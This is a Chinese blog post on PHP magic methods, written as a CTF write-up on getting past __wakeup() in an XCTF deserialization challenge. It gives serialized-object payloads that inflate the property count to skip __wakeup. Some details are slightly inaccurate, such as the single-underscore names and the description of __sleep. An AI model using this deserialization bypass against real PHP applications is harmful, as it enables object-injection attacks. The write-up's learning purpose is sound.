美文网首页
魔法函数

魔法函数

作者: lincso | 来源:发表于2020-02-17 19:02 被阅读0次

魔法函数是什么神仙玩意?
对于一个编程从出门到劝退的网络安全爱好者来说看代码是件很苦逼的事(很多函数都需要baidu一下).

_invoke()

这个其实很简单只是当对象名当函数来用时,调用_invoke()。

class Test{
function __invoke()
{
var_dump("当显示这段话时,是把对象当做方法来用");
}
}
$test = new Test();//实例化一个对象
$test();//将对象当做方法来使用

引用一下其他博主写的代码,很清楚的表明了test被实例化后将自己作为函数,它所含值就是_dump。

_sleep() _wakeup()

这里的函数是本文的关键。
_sleep():在对象序列化(serialize())后php就是调用这个函数,此函数可以清除对象现有的值并且返回对象中所有变量名称的数组,而没有返回任何数据。null会被序列化发生E_NOTICE的错误
_wakeup():在对象反序列化(unserialize())时被调用,它用于重新建立数据库连接,或初始化操作提前准备对象数据。

class xctf{
public $flag='111';
public function _wakeup(){
exit('bad requests');
}
?code=
}

对于这道题,第一点可以看出在网页后面加上?code=以及后面的值flag才会出现
题目中看_wakeup()说明当对象反序列化后我们得到的只会是bad requests,这里要绕过。
查看大佬的提示:将序列化字符串中代表变量个数的数字大于其真实值的数字,以及变量的属性与真实属性不一样时时会绕过_wakeup()。

所以。。。

class xctf{
public $flag='111';
}
$a =new xctf();
echo(serialize($a));

在线进行php编程,将题目中的xctf中值进行序列化
得到的序列化数组:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
将这里得到的数组改一下就好了
payload:O:4:"xctf":2:{s:4:"flag";s:3:"111";} | O:4:"xctf":1:{s:4:"flag";i:3:"111";}

ps:o表示对象,a表示数组,s表示字符,i表示数字其后数字表示个数

相关文章

  • Jupyter Notebook魔法函数

    魔法函数 使用魔法函数可以简单的实现一些单纯python要很麻烦才能实现的功能。 一些常用魔法函数的示例: 注意这...

  • Python进阶2

    魔法函数 引言 魔法函数是Python中定义的,以__开头,__结尾,形如__func__()的函数,一般使用已经...

  • 魔法函数

    魔法函数是什么神仙玩意?对于一个编程从出门到劝退的网络安全爱好者来说看代码是件很苦逼的事(很多函数都需要baidu...

  • jupyter-lab魔法函数

    作者:Arno审稿:童蒙编辑:amethyst 魔法函数介绍 所谓jupyter-lab的魔法函数, 实际上是ju...

  • python魔法函数

    什么是魔法函数? 1)在python中以双下滑线开头并且以双下滑线结尾的函数 2)魔法函数可以随意定义某个类...

  • php魔法函数

    php魔法函数性能不佳,尽量避免使用php魔法函数:(主要用在:动态代理、实现准AOP) 1. __constru...

  • python元类编程(2)

    1. getattr魔法函数 getattr魔法函数就是在查找不到属性的时候调用代码示例 运行结果 2. geta...

  • 第二章 魔法函数

    一. 什么是魔法函数 二. python的数据模型以及数据模型对python的影响(数据模型也叫魔法函数) 三. ...

  • 2-3 魔法函数一览

    还是那句:python的魔法函数都已经提供好了的,我们不能够随便取定义我们的魔法函数。 到底python给我们提供...

  • python:函数说明

    Python: 函数参数魔法 2016-12-01 函数参数 在 Python 中,定义函数和调用函数都很简单,但...

网友评论

      本文标题:魔法函数

      本文链接:https://www.haomeiwen.com/subject/ewdifhtx.html